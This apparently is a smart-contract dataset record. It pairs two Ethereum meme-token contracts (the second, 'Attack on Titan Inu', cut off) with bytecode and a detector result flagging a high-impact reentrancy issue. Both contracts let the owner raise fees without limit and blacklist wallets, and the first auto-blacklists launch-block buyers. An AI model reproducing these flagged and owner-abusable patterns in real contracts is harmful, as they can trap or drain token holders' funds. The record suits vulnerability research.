_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f1461054e578063dd62ed3e14610564578063ea1644d5146105aa578063f2fde38b146105ca57600080fd5b8063a9059cbb146104c9578063bfd79284146104e9578063c3c8cd8014610519578063c492f0461461052e57600080fd5b80638f9a55c0116100d15780638f9a55c01461044257806395d89b411461045857806398a5c31514610489578063a2a957bb146104a957600080fd5b80637d1db4a5146103ee5780638da5cb5b146104045780638f70ccf71461042257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611b8b565b6105ea565b005b34801561020a57600080fd5b5060408051808201909152600c81526b4761736f6c696e6520496e7560a01b60208201525b60405161023c9190611cb5565b60405180910390f35b34801561025157600080fd5b50610265610260366004611ae1565b610697565b604051901515815260200161023c565b34801561028157600080fd5b50601554610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611aa1565b6106ae565b3480156102fe57600080fd5b506102c460195481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601654610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611a31565b610717565b34801561037057600080fd5b506101fc61037f366004611c52565b610762565b34801561039057600080fd5b506101fc6107aa565b3480156103a557600080fd5b506102c46103b4366004611a31565b6107f5565b3480156103c557600080fd5b506101fc610817565b3480156103da57600080fd5b506101fc6103e9366004611c6c565b61088b565b3480156103fa57600080fd5b506102c460175481565b34801561041057600080fd5b506000546001600160a01b0316610295565b34801561042e57600080fd5b506101fc61043d366004611c52565b6108ba565b34801561044e57600080fd5b506102c460185481565b34801561046457600080fd5b506040805180820190915260088152674741534f4c494e5560c01b602082015261022f565b34801561049557600080fd5b506101fc6104a4366004611c6c565b610906565b3480156104b557600080fd5b506101fc6104c4366004611c84565b610935565b3480156104d557600080fd5b506102656104e4366004611ae1565b610973565b3480156104f557600080fd5b50610265610504366004611a31565b60116020526000908152604090205460ff1681565b34801561052557600080fd5b506101fc610980565b34801561053a57600080fd5b506101fc610549366004611b0c565b6109d4565b34801561055a57600080fd5b506102c460085481565b34801561057057600080fd5b506102c461057f366004611a69565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105b657600080fd5b506101fc6105c5366004611c6c565b610a83565b3480156105d657600080fd5b506101fc6105e5366004611a31565b610ab2565b6000546001600160a01b0316331461061d5760405162461bcd60e51b815260040161061490611d08565b60405180910390fd5b60005b81518110156106935760016011600084848151811061064f57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068b81611e1b565b915050610620565b5050565b60006106a4338484610b9c565b5060015b92915050565b60006106bb848484610cc0565b61070d843361070885604051806060016040528060288152602001611e78602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611273565b610b9c565b5060019392505050565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161061490611d08565b6001600160a01b03166000908152601160205260409020805460ff19169055565b6000546001600160a01b0316331461078c5760405162461bcd60e51b815260040161061490611d08565b60168054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b031614806107df57506014546001600160a01b0316336001600160a01b0316145b6107e857600080fd5b476107f2816112ad565b50565b6001600160a01b0381166000908152600260205260408120546106a890611332565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161061490611d08565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161061490611d08565b601755565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161061490611d08565b60168054911515600160a01b0260ff60a01b1990921691909117905543600855565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161061490611d08565b601955565b6000546001600160a01b0316331461095f5760405162461bcd60e51b815260040161061490611d08565b600993909355600b91909155600a55600c55565b60006106a4338484610cc0565b6013546001600160a01b0316336001600160a01b031614806109b557506014546001600160a01b0316336001600160a01b0316145b6109be57600080fd5b60006109c9306107f5565b90506107f2816113b6565b6000546001600160a01b031633146109fe5760405162461bcd60e51b815260040161061490611d08565b60005b82811015610a7d578160056000868685818110610a2e57634e487b7160e01b600052603260045260246000fd5b9050602002016020810190610a439190611a31565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7581611e1b565b915050610a01565b50505050565b6000546001600160a01b03163314610aad5760405162461bcd60e51b815260040161061490611d08565b601855565b6000546001600160a01b03163314610adc5760405162461bcd60e51b815260040161061490611d08565b6001600160a01b038116610b415760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610614565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bfe5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610614565b6001600160a01b038216610c5f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610614565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d245760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610614565b6001600160a01b038216610d865760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610614565b60008111610de85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610614565b6000546001600160a01b03848116911614801590610e1457506000546001600160a01b03838116911614155b1561116c57601654600160a01b900460ff16610ead576000546001600160a01b03848116911614610ead5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610614565b601754811115610eff5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610614565b6001600160a01b03831660009081526011602052604090205460ff16158015610f4157506001600160a01b03821660009081526011602052604090205460ff16155b610f995760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610614565b6008544311158015610fb857506016546001600160a01b038481169116145b8015610fd257506015546001600160a01b03838116911614155b8015610fe757506001600160a01b0382163014155b15611010576001600160a01b0382166000908152601160205260409020805460ff191660011790555b6016546001600160a01b038381169116146110955760185481611032846107f5565b61103c9190611dad565b106110955760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610614565b60006110a0306107f5565b6019546017549192508210159082106110b95760175491505b8080156110d05750601654600160a81b900460ff16155b80156110ea57506016546001600160a01b03868116911614155b80156110ff5750601654600160b01b900460ff165b801561112457506001600160a01b03851660009081526005602052604090205460ff16155b801561114957506001600160a01b03841660009081526005602052604090205460ff16155b1561116957611157826113b6565b47801561116757611167476112ad565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806111ae57506001600160a01b03831660009081526005602052604090205460ff165b806111e057506016546001600160a01b038581169116148015906111e057506016546001600160a01b03848116911614155b156111ed57506000611267565b6016546001600160a01b03858116911614801561121857506015546001600160a01b03848116911614155b1561122a57600954600d55600a54600e555b6016546001600160a01b03848116911614801561125557506015546001600160a01b03858116911614155b1561126757600b54600d55600c54600e555b610a7d8484848461155b565b600081848411156112975760405162461bcd60e51b81526004016106149190611cb5565b5060006112a48486611e04565b95945050505050565b6013546001600160a01b03166108fc6112c7836002611589565b6040518115909202916000818181858888f193505050501580156112ef573d6000803e3d6000fd5b506014546001600160a01b03166108fc61130a836002611589565b6040518115909202916000818181858888f19350505050158015610693573d6000803e3d6000fd5b60006006548211156113995760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610614565b60006113a36115cb565b90506113af8382611589565b9392505050565b6016805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061140c57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561146057600080fd5b505afa158015611474573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114989190611a4d565b816001815181106114b957634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526015546114df9130911684610b9c565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac94790611518908590600090869030904290600401611d3d565b600060405180830381600087803b15801561153257600080fd5b505af1158015611546573d6000803e3d6000fd5b50506016805460ff60a81b1916905550505050565b80611568576115686115ee565b61157384848461161c565b80610a7d57610a7d600f54600d55601054600e55565b60006113af83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611713565b60008060006115d8611741565b90925090506115e78282611589565b9250505090565b600d541580156115fe5750600e54155b1561160557565b600d8054600f55600e805460105560009182905555565b60008060008060008061162e87611781565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061166090876117de565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461168f9086611820565b6001600160a01b0389166000908152600260205260409020556116b18161187f565b6116bb84836118c9565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161170091815260200190565b60405180910390a3505050505050505050565b600081836117345760405162461bcd60e51b81526004016106149190611cb5565b5060006112a48486611dc5565b6006546000908190670de0b6b3a764000061175c8282611589565b82101561177857505060065492670de0b6b3a764000092509050565b90939092509050565b600080600080600080600080600061179e8a600d54600e546118ed565b92509250925060006117ae6115cb565b905060008060006117c18e878787611942565b919e509c509a509598509396509194505050505091939550919395565b60006113af83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611273565b60008061182d8385611dad565b9050838110156113af5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610614565b60006118896115cb565b905060006118978383611992565b306000908152600260205260409020549091506118b49082611820565b30600090815260026020526040902055505050565b6006546118d690836117de565b6006556007546118e69082611820565b6007555050565b600080808061190760646119018989611992565b90611589565b9050600061191a60646119018a89611992565b905060006119328261192c8b866117de565b906117de565b9992985090965090945050505050565b60008080806119518886611992565b9050600061195f8887611992565b9050600061196d8888611992565b9050600061197f8261192c86866117de565b939b939a50919850919650505050505050565b6000826119a1575060006106a8565b60006119ad8385611de5565b9050826119ba8583611dc5565b146113af5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610614565b8035611a1c81611e62565b919050565b80358015158114611a1c57600080fd5b600060208284031215611a42578081fd5b81356113af81611e62565b600060208284031215611a5e578081fd5b81516113af81611e62565b60008060408385031215611a7b578081fd5b8235611a8681611e62565b91506020830135611a9681611e62565b809150509250929050565b600080600060608486031215611ab5578081fd5b8335611ac081611e62565b92506020840135611ad081611e62565b929592945050506040919091013590565b60008060408385031215611af3578182fd5b8235611afe81611e62565b946020939093013593505050565b600080600060408486031215611b20578283fd5b833567ffffffffffffffff80821115611b37578485fd5b818601915086601f830112611b4a578485fd5b813581811115611b58578586fd5b8760208260051b8501011115611b6c578586fd5b602092830195509350611b829186019050611a21565b90509250925092565b60006020808385031215611b9d578182fd5b823567ffffffffffffffff80821115611bb4578384fd5b818501915085601f830112611bc7578384fd5b813581811115611bd957611bd9611e4c565b8060051b604051601f19603f83011681018181108582111715611bfe57611bfe611e4c565b604052828152858101935084860182860187018a1015611c1c578788fd5b8795505b83861015611c4557611c3181611a11565b855260019590950194938601938601611c20565b5098975050505050505050565b600060208284031215611c63578081fd5b6113af82611a21565b600060208284031215611c7d578081fd5b5035919050565b60008060008060808587031215611c99578081fd5b5050823594602084013594506040840135936060013592509050565b6000602080835283518082850152825b81811015611ce157858101830151858201604001528201611cc5565b81811115611cf25783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d8c5784516001600160a01b031683529383019391830191600101611d67565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611dc057611dc0611e36565b500190565b600082611de057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611dff57611dff611e36565b500290565b600082821015611e1657611e16611e36565b500390565b6000600019821415611e2f57611e2f611e36565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f257600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122002a7599836ff0ef1ff6a55cf4b64b41d5ce9fc5848fab9b183559f8449b86e3b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 7,960 |
0x38ed7fa1fadf77b361eeb5fcb79051ee71b9d688
|
/**
*Submitted for verification at Etherscan.io on 2022-04-15
*/
/*
attackoftitaninu.com
Telegram: https://t.me/attackontitaninu
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ATTACK is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "Attack on Titan Inu";//////////////////////////
string private constant _symbol = "AoT";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 10;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 0;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 10;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xCf6D83bDdbBDA4Ae72b967bd9d3a1724278147CC);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0xCf6D83bDdbBDA4Ae72b967bd9d3a1724278147CC);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200000 * 10**9; //2%
uint256 public _maxWalletSize = 200000 * 10**9; //2%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
